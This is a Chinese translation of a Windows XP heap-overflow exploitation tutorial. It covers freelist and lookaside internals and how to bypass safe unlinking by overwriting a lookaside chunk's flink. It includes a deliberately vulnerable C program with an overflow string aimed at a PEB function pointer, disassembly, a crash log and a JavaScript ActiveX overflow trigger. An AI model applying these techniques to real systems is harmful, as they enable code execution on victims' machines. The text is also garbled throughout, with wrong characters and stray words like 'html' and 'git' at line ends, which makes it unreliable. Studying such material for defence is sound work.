lxj616 · 2014/05/06 16:27javascript
開頭我討論了在舊版本Windows下利用堆溢出的技術,試着給讀者提供一些關於unlink過程是怎樣執行的、以及freelist[n]裏面的flink/blink是如何被攻擊者控制並提供簡單的任意「4字節寫」操做 的 實用的知識。html
本文的主要目的是從新提醒本身(我很健忘)而且幫助安全專家獲取對老版本windows(NT v5 及如下)堆管理器如何工做 技術上的理解。本文完成的是利用堆溢出或者內存覆寫漏洞 而且繞過特定的防止「4字節寫」的混合措施。本文的目的還有讓讀者掌握基礎的知識 其毫無疑問地在攻擊新版本windows堆實現方式時被用到。前端
這個教程將會從細節上討論一個而且僅討論一個 爲人熟知的針對特定程序繞過Windows XP SP2/SP3堆保護機制的技術。所以,這並非一個完善的入門書,它也不會涉及到堆的每個方面。java
繼續以前,須要對windows XP/Server 2003下堆的構造有比較全面地理解。爲了本教程自己的目的,以及基於文章Heap Overflow for Humans 101的反饋,我將會討論一些在當前環境 堆內部如何工做的話題。python
若是在基礎層面你對基於堆的緩衝區溢出不熟悉,那麼建議你先把注意力放在這個地方。爲了繼續你須要:c++
• Windows XP 僅安裝SP1
• Windows XP 僅安裝SP2/SP3
• 一個調試器 (Olly Debugger, Immunity Debugger, windbg with access to the ms symbol server etc).
• 一個C/C++編譯器 (Dev C++, lcc-32, MS visual C++ 6.0 (若是你還能找到它)).
• 隨意一種腳本語言 (我用的python,也許你能夠用perl)
• A brain (and/or persistance).
• 一個大腦 (和/或 毅力)
• 一些彙編和C的知識,以及如何用調試器 調試的知識
• OD的插件HideDbg或者 !hidedebug under immunity debugger
• 時間
複製代碼
拿杯咖啡而後咱們一塊兒來調查這種黑暗藝術。git
因此到底什麼是chunk和block?github
Chunk是一種簡單的用block衡量的連續內存 而且其特定的狀態取決於特定的堆chunk header中flag的設定。Block是簡單的一塊8字節堆空間。通常地咱們關心一個chunk是被分配過仍是被free掉了。在本文中爲了方便敘述,這些名詞都會以這種含義使用。spring
無論怎麼說,全部的chunk都存儲在堆中。額外地,堆chunk也許會出如今堆結構的其餘位置而且取決於其位置會有不一樣的chunk結構。shell
讓咱們經過討論堆結構自己以及三個很是重要的堆中chunk存儲結構開始吧。
默認狀況下,Windows有一個特定的結構供堆參考。在PEB中的0x90偏移,你能夠看到 從堆建立位置起 以有序數組結構展示的 對應進程的堆列表 使用Windbg咱們能夠經過!peb命令找到目前的PEB。若是你是Immunity Debugger的用戶,你也能夠經過!peb命令觀看這條信息,!peb提供的很是簡單的代碼以下所示:
#!cpp
from immlib import *
def main(args):
imm = Debugger()
peb_address = imm.getPEBAddress()
info = 'PEB: 0x%08x' % peb_address
return info
複製代碼
咱們一進入PEB就能看到進程的堆信息:
+0x090 ProcessHeaps : 0x7c97ffe0 -> 0x00240000 Void
複製代碼
因此讓咱們在這個地址0x7c97ffe0 dump DWORD(4字節)
0:000> dd 7c97ffe0
7c97ffe0 00240000 00340000 00350000 003e0000
7c97fff0 00480000 00000000 00000000 00000000
7c980000 00000000 00000000 00000000 00000000
7c980010 00000000 00000000 00000000 00000000
7c980020 02c402c2 00020498 00000001 7c9b2000
7c980030 7ffd2de6 00000000 00000005 00000001
7c980040 fffff89c 00000000 003a0043 0057005c
7c980050 004e0049 004f0044 00530057 0073005c
複製代碼
加粗字體的地址就是目前在運行進程的堆。這條信息也能夠在windbg和Immunity Debugger中經過使用!heap命令找到
額外地,你能夠經過windbg中的!heap –stat命令觀看每一個堆的靜態信息。下面是示例回顯:
_HEAP 00030000
Segments 00000002
Reserved bytes 00110000
Committed bytes 00014000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
複製代碼
最終,你能夠經過使用-h和-q標籤dump一些堆的元數據
第一個堆(0x00240000)是默認的堆,其餘堆都是由C組件及構造方法建立的,而回顯中最後的堆(0x00480000)是被咱們的程序建立的。
程序可能會調用形如HeapCreate()的函數來建立額外的堆而且把指針存儲在PEB中0x90偏移量中,下例展現了HeapCreate()的Windows API
#!cpp
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize
);
複製代碼
一個帶有正確參數的HeapCreate()調用將會返回一個存儲在EAX寄存器中指向新建立的堆的指針
參數以下所示:
flOptions
• HEAP_CREATE_ENABLE_EXECUTE: 容許執行代碼 • HEAP_GENERATE_EXCEPTIONS:當調用HeapAlloc() 或者 HeapReAlloc()時沒法知足需求狀況下拋出一個異常 • HEAP_NO_SERIALIZE:當堆函數訪問堆時不使用序列化方式
dwInitialSize
爲堆分配的初始大小是最近的頁表大小(4K)。若是指定爲0,那麼就給堆設置了一個單頁大小。這個值必須比dwMaximumSize小
堆的最大大小。若是對HeapAlloc() 或者 HeapReAlloc()的請求超出了dwinitialSize的值,那麼虛擬內存管理器將會返回 可以知足分配請求的內存頁表 而且剩下的內存會被存儲到freelist中
若是dwMaximumSize爲0,堆大小可以自動增長。堆的大小隻被可用內存限制
更多關於flag的信息能夠查閱msdn。下面是一張重點區域高亮顯示的堆結構表。你能夠在windbg下使用命令'dt _heap'來查看此條信息。
Address |
Value |
Description |
0x00360000 |
0x00360000 |
Base Address |
0x0036000C |
0x00000002 |
Flags |
0x00360010 |
0x00000000 |
ForceFlags |
0x00360014 |
0x0000FE00 |
VirtualMemoryThreshold |
0x00360050 |
0x00360050 |
VirtualAllocatedBlocks List |
0x00360158 |
0x00000000 |
FreeList Bitmap |
0x00360178 |
0x00361E90 |
FreeList[0] |
0x00360180 |
0x00360180 |
FreeList[n] |
0x00360578 |
0x00360608 |
HeapLockSection |
0x0036057C |
0x00000000 |
Commit Routine Pointer |
0x00360580 |
0x00360688 |
FrontEndHeap |
0x00360586 |
0x00000001 |
FrontEndHeapType |
0x00360678 |
0x00361E88 |
Last Free Chunk |
0x00360688 |
0x00000000 |
Lookaside[n] |
正如以前所提到的,每一個堆chunk都被存儲在堆segment裏面。若是一塊內存chunk被free了,它除了將會被加入freelist或者lookaside list以外還會被存儲到堆segment裏。當分配空間時,若是堆管理器在lookaside或者freelist裏找不到任何的空閒chunk,它就會從未分配內存中提供更多的內存給當前的堆segment。若是大量內存被分配到不少地方,堆的結構能夠擁有許多segment。下面顯示的是segment chunk結構表:
Header |
Self Size (0x2) |
Prev Size (0x2) |
Segment index (0x1) |
Flag (0x1) |
Unused (0x1) |
Tag index (0x1) |
Data |
在分析堆segment時,咱們能夠經過在windbg中使用'!heap -a [heap address]'
命令完成
額外地,你能夠在immunity debugger中使用 '!heap -h [heap address] -c'(選項-c 顯示chunk)
每一個segment在數據chunk後面包含了它本身的元數據。下面是segment分配的內存,而且最終這個segment包含了一個未分配內存的部分。如今咱們清楚了咱們想要分析的segment,咱們可使用命令'dt _heap_segment [segment address]'
來dump元數據結構。
下面是一個詳細的元數據結構表單。爲簡單起見,咱們將設定從地址0x00480000開始。
Address |
Value |
Description |
0x00480008 |
0xffeeffee |
Signature |
0x0048000C |
0x00000000 |
Flags |
0x00480010 |
0x00480000 |
Heap |
0x00480014 |
0x0003d000 |
LargeUncommitedRange |
0x00480018 |
0x00480000 |
BaseAddress |
0x0048001c |
0x00000040 |
NumberOfPages |
0x00480020 |
0x00480680 |
FirstEntry |
0x00480024 |
0x004c0000 |
LastValidEntry |
0x00480028 |
0x0000003d |
NumberOfUncommitedPages |
0x0048002c |
0x00000001 |
NumberOfUncommitedRanges |
0x00480030 |
0x00480588 |
UnCommitedRanges |
0x00480034 |
0x00000000 |
AllocatorBackTraceIndex |
0x00480036 |
0x00000000 |
Reserved |
0x00480038 |
0x00381eb8 |
LastEntryInSegment |
在一個segment中重要的信息是第一個chunk。單這條信息就能夠用來"遍歷"segment,如是你能夠簡單地 經過知道大小及間隔 顯示chunk而且下一個chunk
在堆結構的0x178偏移量上,咱們能夠看到FreeList[]數組的開頭。這個FreeList包含了一個雙向連接的chunk list。他們經過既有flink又有blink的方式來雙向連接。
上面的圖表顯示了freelist包含着範圍在0-128的堆chunk索引數組。任意chunk的大小在0和1016之間(之因此是1016是由於最大1024減去8字節的元數據)並存儲在[它們的分配大小]*8位置。舉例來講,我有一個40字節大小的chunk來free,那麼我將會把這個chunk放在freelist中index爲4的位置(40/8)
譯者注:40/8=5 ;0,1,2,3,4 因此放在4
若是一個chunk的大小超過了1016(127*8)個字節,那麼它將會以數值大小順序被存儲在freelist[0]條目中。下面是關於freelist chunk的描述
Headers |
Self Size (0x2) |
Prev Size (0x2) |
Segment index (0x1) |
Flag (0x1) |
Unused (0x1) |
Tag index (0x1) |
flink/blink |
Flink (0x4) |
Blink (0x4) |
||||
Data |
Freelist Mitigations:
微軟發佈了一些mitigation來防止對於freelist條目的unlink攻擊,下面是一段對mitigation簡短的描述。
對freelist的Safe unlinking:
Safe unlinking 是被微軟在Windows XP sp2及之後實現的一種保護機制。本質上它是一種防範被攻擊利用[以前在Heap Overflows for Humans 101裏說起的4字節寫]的技術。在這種檢測之下,以前的chunk 'flink'指針指向咱們分配的chunk而且臨近的chunk指向咱們分配的chunk。下面是對於對應的安全機制的描述圖表
Freelist chunk 1[flink] == Freelist chunk 2 && Freelist chunk 3[blink] ==Freelist chunk 2
紅線是檢查發生的地方
若是任何檢查未經過,那麼就jump到ntdll.dll的0x7c936934,正如你所見這幾乎與咱們傳統的unlink相同除了咱們加入了檢查flink/blink的代碼
Freelist header cookies:
對於Windows XP sp2的介紹中可見一個隨機的堆cookie位於chunk header中的0x5偏移。。只有freelist chunks有這些cookie檢查。下面是一張加亮了安全cookie的關於堆chunk的圖片。這是一條隨機單字節條目,這樣有最大256種可能的值。記住你在一個多線程的環境下也許可以暴力窮舉這個值。
Lookaside list是一個用來存儲小於1016字節堆chunks的單鏈表。Lookaside體現的理念是加速而且查找起來更快。這是由於程序在進程的執行生命期內屢次執行HeapAlloc() 和 HeapFree()。由於它是爲速度和效率設計的,因此它容許了每一個條目很少於3個的空閒chunk。若是HeapFree()在一個chunk上調用而且已經有了3個條目的特定chunk大小,那麼它就會被free到Freelist[n]
堆的chunk大小總計是 實際分配大小+用來header的額外的8字節。因此若是若是爲16字節作分配,那麼就會在lookaside list裏面掃描24字節(16+chunk header)大小的chunk。在下圖的狀況下,windows堆管理器會成功而且在lookaside list中index 2找到一個可用的chunk。
Lookaside list 僅包含了一個flink指針指向下一個可用的chunk(用戶數據)
Headers |
Self Size (0x2) |
Prev Size (0x2) |
Cookie (0x1) |
Flags (0x1) |
Unused (0x1) |
Segment index (0x1) |
flink/blink |
Flink (0x4) |
|||||
Data |
當windows堆管理器接收到一個分配的請求,它會去尋找一個空閒的堆內存chunk來知足這個請求。
爲了最優化以及速度,windows堆管理器將會首先進去lookaside list中(取決於它的單鏈表結構)而且試着去尋找一個空閒的chunk。若是這裏沒有找到chunk,windows堆管理器將會遍歷freelist(在 freelist1-freelist[127]之間)。若是沒有找到任何chunk那麼它將會遍歷freelist[0]條目尋找更大的chunk而後分割chunk。一部分將會被返回到堆管理器而且剩下的將會返回到freelist[n] (n是基於剩下字節數的序號)。這就帶領咱們去往下一個章節,堆的操做。
Chunk分割指的是在爲尋找大小合適的chunk並將其分解成更小的chunk時訪問freelist[n]的過程。當freelist中獲取到的一個chunk比請求分配的大小要大時,這個chunk將會被對半分開來知足請求的分配大小。
假設在freelist[0]是一個單獨的2048字節的chunk。若是請求的分配大小是1024字節(包括了header),那麼這個chunk會被分割而且有1024字節大小的chunk放回了freelist[0] 同時返回新分配的1024字節的chunk給調用者。
Heap Coalescing:
堆的合併:
堆的合併指的是將兩塊可用的chunk堆內存合併的動做,當中間的chunk也被free了時。
堆管理器要這樣作的緣由是對segment內存實行高效使用。固然,這也權衡了當chunk被釋放時的效率。堆的合併是很是重要的操做由於多個chunk能夠被加在一塊兒(若是可用)而且以後能夠被用於更大大小需求的分配。若是沒有這個過程,那麼在堆segment中浪費的chunk就會出現而且成爲碎片。
這個技術是最通用的繞過堆cookie以及safe unlinking檢查的方法。同時(譯者注:原文爲whist,想必做者原意whilst打錯了)這是一個針對程序的達成簡單的"4字節寫"的技術,一些程序可能容許你決定堆的佈局以穩定exploit利用。既然在lookaside list中沒有safe unlinking 或者 cookie檢查,一個攻擊者能夠覆寫 包含在臨近lookaside條目中 的'flink'的值 而且經過HeapAlloc() 或者 HeapFree()調用返回那個指針 以後在下一個可用chunk中寫入惡意代碼。
讓咱們從視覺上感覺它是怎樣工做的,深呼吸。
如今咱們從新再一次分配B(經過分配一個和B相同大小的chunk如第二步)。這會返回chunk B的指針而且更新其在當前堆segment中的引用而且準備好下一次的分配。如今chunk B 中的flink已經更新成攻擊者經過溢出A而控制的任意地址。
如今咱們經過分配chunk C 獲取控制。它將會是在chunk B以後的下一個可用chunk而且經過chunk B 的已經控制的flink 被指向了。攻擊者在chunk C 填入他們的shellcode
當這些步驟所有完成,咱們如今控制了一個覆寫的函數指針,其將會理想地在咱們的"4字節寫"以後被調用。下面是咱們將會說明的C代碼:
#!cpp
/*
Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
char *a,*b,*c;
long *hHeap;
char buf[10];
printf("----------------------------\n");
printf("Overwrite a chunk on the lookaside\n");
printf("Heap demonstration\n");
printf("----------------------------\n");
// create the heap
hHeap = HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
// allocate the first chunk of size N (<0x3F8 bytes)
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
// allocate the second chunk of size N (<0x3F8 bytes)
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
// Freeing of chunk B: the chunk gets referenced to the lookaside list
HeapFree(hHeap,0,b);
// set software bp
__asm__("int $0x3");
printf("(+) Now overflow chunk A:\n");
// The overflow occurs in chunk A: we can manipulate chunk B's Flink
// PEB lock routine for testing purposes
// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
gets(a);
// set software bp
__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
__asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
// A copy operation from a controlled input to this buffer occurs: these
// bytes are written to our chosen location
// insert shellcode here
gets(c);
// set software bp
__asm__("int $0x3");
exit(0);
}
複製代碼
咱們之因此有好多asm("int $0x3");指令是爲了在調試器中設置軟件斷點來暫停程序執行。其餘選擇的話,你也能夠在調試器中打開編譯後的二進制文件而後再每一個call下斷點。在dev c++(it uses AT&T in-line assembly compiling with gcc.exe)中編譯代碼。當代碼在調試器中執行觸發第一個斷點時讓咱們來看一下。
咱們能夠看到在segment 0x00480000有兩個已分配的chunk大小爲0x18.若是咱們減去0x8字節咱們還剩0x10即16個字節。讓咱們來看一看lookaside而且觀察咱們是否把chunk B free過去了
太棒了!因此咱們能夠在lookaside看到咱們的chunk(差8字節指到header)。這個chunk被free到這個位置取決於其大小< 1016而且目前在lookaside中有<= 3 chunk 指定那個chunk size。
爲了進一步確認,讓咱們看一眼freelist而且觀察發生了什麼
好的 那麼它看上去很直接,除了 一些在freelist[0]在建立segment時正常的一些分配外 沒有其餘條目。繼續,咱們用一些0x41溢出chunk A到臨近的chunk header。使用一樣的數據,咱們將用0x44溢出臨近chunk的flink.
太棒了 咱們能夠看到咱們分配的0x00481ea8-0x8(chunk B)已經被攻擊者的輸入覆寫了。咱們也能夠看到lookaside條目包含着0x4444443c這個值,若是咱們把這個值加上0x8字節就會是0x44444444即咱們使用的確切值!所以在這一點上你能夠理解你是怎樣控制chunk B 的flink的 :)
一旦執行與chunk B(0x00481ea8-0x8)大小相同的分配,chunk B 的條目將被從lookaside3移除而且返回給調用者。注意額外的,header也一樣被徹底控制了。
因此若是咱們仔細看看chunk A(0x00481e88)咱們能夠看到這個chunk正在被使用由於flag設置成0x1(表示它狀態busy)。下一個在(0x00481ea0)的chunk目前尚未被更新由於其仍然被free到lookaside中。
這時候,代碼將會在READ操做上違反訪問規則。當使用這種技術攻擊一個程序時,咱們會把0x44444444用一個函數指針替換(虛假flink)。如今,當堆管理器建立了下一個分配的chunk,該程序將會在虛假指針處寫入。咱們如今會分配chunk C而且用任意shellcode填充buffer。這裏的這個想法是讓咱們的函數指針在程序崩潰以前被調用(或者由於崩潰而調用)。我沒在Heap Overflow for Humans 101中提到的一個很是聰明的技巧是 攻擊者能夠利用PEB全局函數指針(僅在XP SP1 以前)。可是在windows XP SP2 及更高版本,這些地址指針都是隨機的。讓咱們來看看這個,在把二進制文件裝載進調試器時咱們首先看到:
咱們再作一遍:
注意以上兩個PEB指針是不一樣的。當觸發一個異常時,異常處理器大體將調用ExitProcess(),其又會調用RtlAcquirePebLock()。這項操做管理的是在處理異常期間不準修改peb 而且當處理器結束運做,它將會經過調用RtlReleasePebLock()釋放lock。另外,在這些函數中使用的指針並非W^X保護的而這意味着咱們能夠在那個內存區域寫入而且運行。這些函數每個都利用了靜態指針與固定的相對的peb的偏移量。下面是RtlAcquirePebLock()函數而且正如你所見,FS:18 (peb)被移進了EAX。接着,全局函數指針被存儲在0x30偏移量的地方。而將會被調用的函數'FastPebLockRoutine()'位於0x24偏移量位置。
7C91040D > 6A 18 PUSH 18
7C91040F 68 4004917C PUSH ntdll.7C910440
7C910414 E8 B2E4FFFF CALL ntdll.7C90E8CB
7C910419 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C91041F 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C910422 8945 E0 MOV DWORD PTR SS:[EBP-20],EAX
7C910425 8B48 20 MOV ECX,DWORD PTR DS:[EAX+20]
7C910428 894D E4 MOV DWORD PTR SS:[EBP-1C],ECX
7C91042B 8365 FC 00 AND DWORD PTR SS:[EBP-4],0
7C91042F FF70 1C PUSH DWORD PTR DS:[EAX+1C]
7C910432 FF55 E4 CALL DWORD PTR SS:[EBP-1C]
7C910435 834D FC FF OR DWORD PTR SS:[EBP-4],FFFFFFFF
7C910439 E8 C8E4FFFF CALL ntdll.7C90E906
7C91043E C3 RETN
複製代碼
下面咱們能夠看到函數RtlReleasePebLock()直接在PEB中的全局偏移數組0x24偏移量位置調用了函數指針'FastpebUnlockRoutine()'
7C910451 > 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C910457 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C91045A FF70 1C PUSH DWORD PTR DS:[EAX+1C]
7C91045D FF50 24 CALL DWORD PTR DS:[EAX+24]
7C910460 C3 RETN
複製代碼
因此當RtlAcquirePebLock() 和 RtlReleasePebLock()過程在有異常發生時被調用,這代碼將會無限的觸發異常而且執行你的代碼。不過你能夠經過執行完shellcode而後修改指針地址到exit()修補peb來實現。
當前進程的線程數越多,隨機化的強度就越弱(隨機地址將被用於多個PEB)而且咱們將可以"猜解"當前PEB的地址。不過因爲咱們沒有一個可靠的函數指針以供咱們作簡單的"4字節"覆寫(一個通用函數指針)
有時一個程序可能會既在異常發生前又在另外一個windows library函數指針被調用時使用一個自定義的函數指針 而且這就能夠用咱們的代碼覆寫那個指針而且執行shellcode。
爲了展現的目的,我將會演示經過固定的PEB全局函數指針在windows XP SP1覆寫一個lookside的chunk。FastPEBLockRoutine()的地址爲0x7ffdf020。如今簡單地從註釋中恢復下面這行
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
複製代碼
而後把下面這行註釋掉
gets(a);
複製代碼
因此如今咱們將會溢出chunk A X's而且溢出AAAA和BBBB進入chunk B的元數據而且最終使用0x7ffdf020覆寫chunk B的flink。從新編譯而且裝入調試器。如今當咱們分配chunk C(指向0x7ffdf020)時,咱們能夠用shellcode填充這個chunk而且當觸發異常時將會被調用。下面咱們能夠看到以下代碼設置PEB地址到EAX而且直接call調用0x20偏移量(FastPEBLockRoutine())把執行權轉交到咱們的代碼。
如今咱們對EIP擁有了直接的控制而且能夠利用它返回到代碼中。在這裏不考慮繞過DEP以及執行代碼。
除非我提供一個在Windows XP SP3下使用程序特定指針利用該漏洞的例子,不然這篇文章不會完美結束。當目標針對一個包含了堆溢出的軟件時,任何出如今溢出以後的硬編碼可寫可運行的函數調用都應該被針對並利用。
舉例來講,winsock的WSACleanup(),它在XP SP3下包含了一個位於0x71ab400a的硬編碼函數調用。這也能夠成爲咱們用於往內存中寫shellcode的地址。那樣的話當WSACleanup()(或者許多其它winsock函數)執行時,它會重定向回shellcode。下面是對於WSACleanup()反彙編而且尋找硬編碼函數調用:
幾乎全部windows下面的網絡程序都喜歡使用從winsock導出的函數調用而且特別是(原文是spefcially,想必是specially打錯了)WSACleanup()用來清理任何socket鏈接,而且這些多數在溢出後確定會被調用。所以,使用這個函數指針(0x71ac4050)來覆寫 看上去運行時始終一致(原文consistantly,想必是consistently打錯了)。另外一個例子顯示,recv()函數也包含了一個相同函數的調用。
若是咱們跟蹤0x71ab678f函數調用,咱們能夠看到咱們到了這裏
你知道了什麼?另外一個順下來對0x71ac4050的調用,爲了確保這個會成功,讓咱們看看這段內存的訪問權限。
這種技術的基本難題是 由於你將會覆寫那個區域,因此任何使用了winsock的shellcode(幾乎全部我用的shellcode)都會失效。一種解決這難題的辦法是再次把0x71ac4050恢復到原來的代碼這樣winsock就能工做了
我提供了一個有漏洞的服務器程序(多數代碼來自在infosec institute的Stephen Bradshaws blog,全部的讚揚歸他)而且如是調整使其包括了堆溢出以及內存泄露。
構造一個'PoC'利用的思路是 經過正確的方式觸發而且列出堆棧內容這樣你就能夠覆寫一個在lookaside的chunk而後達到代碼執行。下載this文件而且在windows xp sp3下運行而後嘗試我在這裏提供的例子來幫助你抓住這個技術的知識要點。我已經決定不提供這個的源代碼這樣人們必須作一些你想工做來尋找正確堆棧佈局而後達到命令執行。做爲一個提示(但願不是很透),這裏有一張'PoC'經過肯定堆佈局工做的截圖
固然,任何狀況下只要你能弄清堆內存的佈局都很好。一個列出目標進程的堆的更簡單的目標是穩妥地利用客戶端。隨着可以編寫和控制堆的佈局,你必定可以構造一個經過堆溢出攻擊利用的場景。一個例子是利用Alex Soritov的heaplib.js來協助分配,釋放以及在堆內存中實行其餘字符串操做。若是使用MSHTML在相同堆中利用javascript或者DHTML來分配或者釋放chunk,那麼你就能夠控制堆管理器而且你能夠在瀏覽器中經過堆溢出轉交執行控制。
我決定看一下這個漏洞而且判斷其在windows xp sp3下的可利用程度。儘管control被標記爲腳本或初始化不安全,我以爲漏洞分析起來仍是頗有意思的。我原本不想添加這一小節,可是sinn3r問到了,因此我決定加進去 :)如今因爲它在ActiveX控制下,一種觸發的方式爲經過使用一種可選的腳本語言在IE瀏覽器觸發。我決定使用JavaScript由於其可延展性而且heapLib.js被含在裏面。我使用的環境以下所示:
1. IE 6/7
2. XP SP3
3. heapLib.js
複製代碼
因此讓歡樂開始吧!首先我觸發了exploit-db上的Hellcode Research寫的PoC。讓咱們來分析程序的crash
咱們在這裏能夠看到當前堆的segment實際上用光了未分配內存而且沒法爲那個堆segment提供更多的內存。
而後咱們來看一下:
咱們用光了堆segment而且沒有能力建立一個新的segment。因此咱們該怎麼辦?好吧咱們知道咱們必須觸發一個unlink操做。爲了那樣作,咱們須要windows堆管理器複製全部的數據進入分配的buffer(覆寫其它的chunk)可是不丟失當前的segment。那麼當下一此分配或者free被觸發,它會試着去unlink。我修改了poc去只用2240字節代替4000字節來觸發溢出
#!cpp
var x = unescape("%41");
while (x.length<2240) x += x;
x = x.substring(0,2240);
target.BindToFile(x,1);
複製代碼
如今當咱們觸發這一漏洞時,咱們實際上並無讓瀏覽器崩潰。固然chunk已經溢出了,可是直到再有一個其餘的unlink操做 它不會崩潰。可是當關閉瀏覽器時,垃圾蒐集器啓動而且分配全部已經free的chunk而且如是多個對RtlAllocateHeap()的調用 而後漏洞被觸發。此次事情看上去更實際了。
#!bash
(384c.16e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141
eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ntdll!RtlAllocateHeap+0x567:
7c9111de 8b10 mov edx,dword ptr [eax] ds:0023:41414141=????????
複製代碼
太棒了,因此咱們有了一個潛在的攻擊利用條件。在這種狀況下,flink就是EAX而後blink就是EDI.帶XP sp 0-1和如下版本,咱們能夠簡單地實行一次簡單的UEF函數覆寫而且獲取控制。可是咱們已經可以經過瀏覽器強大的腳本能力給堆"按摩(原文massage,但我總以爲像是message,呵呵)"這樣咱們將會試着在xp sp3下對付這個漏洞。在分析堆的佈局時,我快速地注意到Active X control實際上在運行時建立了它本身的堆而且crash是在freelist insert時被觸發的
當使用heaplib.js庫時,我能夠成功地操做堆,那就是說,默認的進程堆不是 active X controls的堆。在這一點上,我大體能夠說在Windows XP SP3及以上版本看上去不能利用,固然這多是糟糕的誤解可是就目前我能夠說,若是對象的堆沒法被操做,那麼它就不能被利用。
Hooking 鉤子:
一個很是有用的提示是 知道當調試具備堆溢出的程序時調的是分配與free的數量以及它們的大小。在一個進程/線程的生命週期裏,許多分配與free被執行而且確實對它們都下斷點很是耗時。一件對immunity debugger不錯的事情是你可使用!hookheap插件來hook RtlAllocateHeap() 和 RtlFreeHeap()而且這樣你就能夠找到全部在特定操做中執行的 分配和free 的大小和數量
正如你所見,一個特別的分配露了出來,一次大量字節的分配看上去像是對目標漏洞服務器的請求。
堆管理器對於去理解、去利用堆溢出很是複雜 由於每一個狀況都有不一樣因此須要許多小時的分析。理解目標程序的當前上下文環境以及其中的限制是發掘一個堆溢出可利用性的關鍵。被微軟強制的mitigation保護 基礎地防禦了大多數的堆溢出,不過期不時地咱們看到特定程序條件被攻擊者利用的狀況發生
References: